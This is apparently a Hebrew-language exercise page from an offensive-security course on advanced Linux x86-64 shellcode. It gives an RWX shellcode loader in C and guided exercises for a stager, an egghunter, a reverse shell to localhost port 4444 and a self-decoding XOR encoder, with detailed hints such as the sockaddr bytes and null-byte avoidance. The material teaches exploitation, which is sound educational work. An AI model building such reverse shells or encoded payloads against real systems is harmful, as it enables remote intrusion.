3.4 shellcode מתקדם תרגול
תרגול - shellcode מתקדם¶
בתרגול הזה תבנו בעצמכם את שלוש הטכניקות המרכזיות של ההרצאה: staged loader (stager + stage-2), egghunter שסורק את הזיכרון ומוצא payload, ו-reverse shell שמתחבר אליכם דרך הרשת. בסוף תשלבו מפענח XOR שמשנה את עצמו. אל תעתיקו את הפתרון - כתבו את האסמבלי בעצמכם, כי כל הטכניקות האלה חוזרות שוב ושוב בהמשך הקורס.
סביבה והנחות¶
הכל רץ מקומית על לינוקס x86-64. ההנחות: NX כבוי היכן שמצוין (או שאנחנו יוצרים אזור RWX בעצמנו), ASLR לא מפריע (טכניקות ה-egghunter ממילא חסינות אליו). הכלים: python3 עם pwntools, gcc, nasm, objdump, ו-nc להאזנה.
טוען לבדיקה כללית של shellcode (שמרו כ-loader.c, מדביקים את הבתים בפנים):
#include <string.h>
#include <sys/mman.h>
unsigned char sc[] =
"\x90\x90\x90"; // <-- paste your bytes here
int main(void) {
void *page = mmap(0, 0x100000, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_ANON | MAP_PRIVATE, -1, 0);
memcpy(page, sc, sizeof(sc));
((void (*)(void))page)();
return 0;
}
תזכורת למספרי קריאות מערכת ב-x86-64: read=0, mmap=9, mprotect=10, access=21, dup2=33, socket=41, connect=42, accept=43, bind=49, listen=50, execve=59.
תרגיל 1 - stager שקורא ומריץ שלב שני¶
כתבו stager מינימלי ל-x86-64 שקורא בתים מ-stdin אל תוך אזור ניתן להרצה וקופץ אליהם. הוכיחו שהוא מריץ shellcode ששלחתם אחרי שהוא התחיל לרוץ.
המטרה:
- כתבו stager שעושה
read(0, buf, 0x1000)ואזjmp buf. בחרו אתbufלהיות אזור מריץ (המחסנית עצמה מספיקה בסביבת המעבדה). - הרכיבו עם
asm(), ומדדו את האורך - הוא צריך להיות קטן (בסביבות 15 בתים). - בנו בדיקה: הריצו את ה-stager עם
run_shellcode, ואז שלחו לו את ה-shellcode שלexecve("/bin/sh")מ-3.1. אמור להיפתח shell.
רמז: כדי לקבל count = 0x1000 בלי בית אפס, אל תעשו mov edx, 0x1000. במקום זה טענו 1 והזיזו שמאלה: push 1; pop rdx; shl rdx, 12.
רמז: את המחסנית אפשר לקחת כיעד קריאה עם mov rsi, rsp, ואז לקפוץ עם jmp rsi אחרי ה-read.
רמז: ב-run_shellcode ה-tube מחובר ל-stdin של ה-stager, אז p.send(stage2) הוא בדיוק ה"שלב שני" שה-stager יקרא.
תרגיל 2 - egghunter¶
כתבו egghunter ל-x86-64 שסורק את הזיכרון, מוצא egg בן 8 בתים (שני עותקים של 0x90509050), וקופץ לpayload שמיד אחריו. הוכיחו שהוא מוצא payload שהסתרתם עמוק בזיכרון.
המטרה:
- כתבו את ה-egghunter עם הטריק של
access(מספר 21) לבדיקת עמודים, ו-scasdלהשוואת ה-egg. - כתבו harness ב-C שמקצה בלוק זיכרון גדול, מניח בתוכו במקום אקראי את הpayload (egg כפול ואז
execveshellcode), ומריץ את ה-egghunter מעמוד RWX נפרד. - קמפלו והריצו. ה-egghunter צריך לסרוק, למצוא את ה-egg, ולפתוח shell.
רמז: ה-egg חייב להופיע פעמיים ברצף בpayload (8 בתים: \x50\x90\x50\x90\x50\x90\x50\x90) כדי שלא יהיו התאמות מקריות. ה-egghunter דורש שני scasd תואמים ברצף.
רמז: EFAULT הוא 14, וקריאת המערכת מחזירה -14. הבית התחתון של הערך הזה הוא 0xf2, אז הבדיקה היא cmp al, 0xf2.
רמז: הניחו את הpayload בתוך ההקצאה הגדולה, למשל memcpy(big + 0x54321, payload, sizeof(payload)), כדי לאלץ את ה-egghunter לסרוק ממש.
תרגיל 3 - reverse shell¶
כתבו shellcode של reverse shell ל-x86-64 שמתחבר ל-127.0.0.1:4444, מפנה אליו את stdin/stdout/stderr, ומריץ /bin/sh. הוכיחו שאתם מקבלים shell ב-nc.
המטרה:
- כתבו את הרצף:
socket->connect-> שלוש קריאותdup2->execve. - בנו את
sockaddr_inעל המחסנית: family=AF_INET, port=4444 בסדר רשת, ip=127.0.0.1. - בטרמינל אחד הריצו
nc -lvnp 4444. בטרמינל שני הריצו את ה-shellcode (דרך הטוען אוrun_shellcode). ה-listener אמור לקבל shell - נסוid.
רמז: 4444 בסדר רשת הוא 0x115c, ובזיכרון 11 5c. 127.0.0.1 בסדר רשת הוא 7f 00 00 01. שמונת הבתים הראשונים של sockaddr הם 02 00 11 5c 7f 00 00 01, שזה qword 0x0100007f5c110002.
רמז: dup2 צריך לרוץ שלוש פעמים על אותו sockfd עם ה-newfd 2,1,0. לולאה עם dec rsi; jns נותנת בדיוק את הרצף הזה ועוצרת על -1.
רמז: אחרי socket, ה-fd חוזר ב-rax. שמרו אותו מיד ל-rdi (mov rdi, rax), כי גם connect וגם dup2 צריכים אותו ב-rdi.
רמז: אם אתם מתקשים לכתוב ידנית, אפשר לייצר לבדיקה עם shellcraft.amd64.linux.connect('127.0.0.1', 4444), אבל נסו קודם ביד.
תרגיל 4 (אתגר) - מפענח XOR שמשנה את עצמו¶
עכשיו קחו את ה-reverse shell מתרגיל 3, קודדו אותו כך שלא יכיל בית אפס, ועטפו אותו במפענח XOR שמשחזר אותו בזמן ריצה.
המטרה:
- קודדו את בתי ה-reverse shell עם XOR במפתח קבוע (למשל
0xAA). ודאו שהתוצאה המקודדת לא מכילה0x00(אם כן, בחרו מפתח אחר). - כתבו מפענח
jmp/call/popשמפענח את הpayload במקום ואז נופל אליו (או קופץ אליו עםret). - הרכיבו את המפענח + הpayload המקודד ביחד, בדקו ש-
assert b'\x00' not in blobעובר, והריצו בטוען. אמור להיפתח shell שמתחבר ל-nc.
רמז: המפתח 0xAA הוא בחירה טובה כי הוא הופך בתים "בעייתיים" רבים. אבל אם בית מסוים ב-XOR עם 0xAA נותן 0x00, המשמעות היא שהבית המקורי היה 0xAA - נסו מפתח אחר.
רמז: תבנית jmp/call/pop נותנת לכם את כתובת הpayload המקודד בלי כתובת מוחלטת. call דוחף את כתובת ההוראה הבאה, שהיא בדיוק תחילת הpayload.
רמז: זכרו שכתיבה על הקוד עצמה דורשת שהעמוד יהיה RWX. הטוען שלנו מקצה עמוד RWX עם mmap, אז זה בסדר. על יעד W^X הייתם צריכים לפענח לאזור אחר.
רמז: הדרך הכי קלה לחשב את הpayload המקודד בפייתון: encoded = bytes(b ^ 0xAA for b in stage2).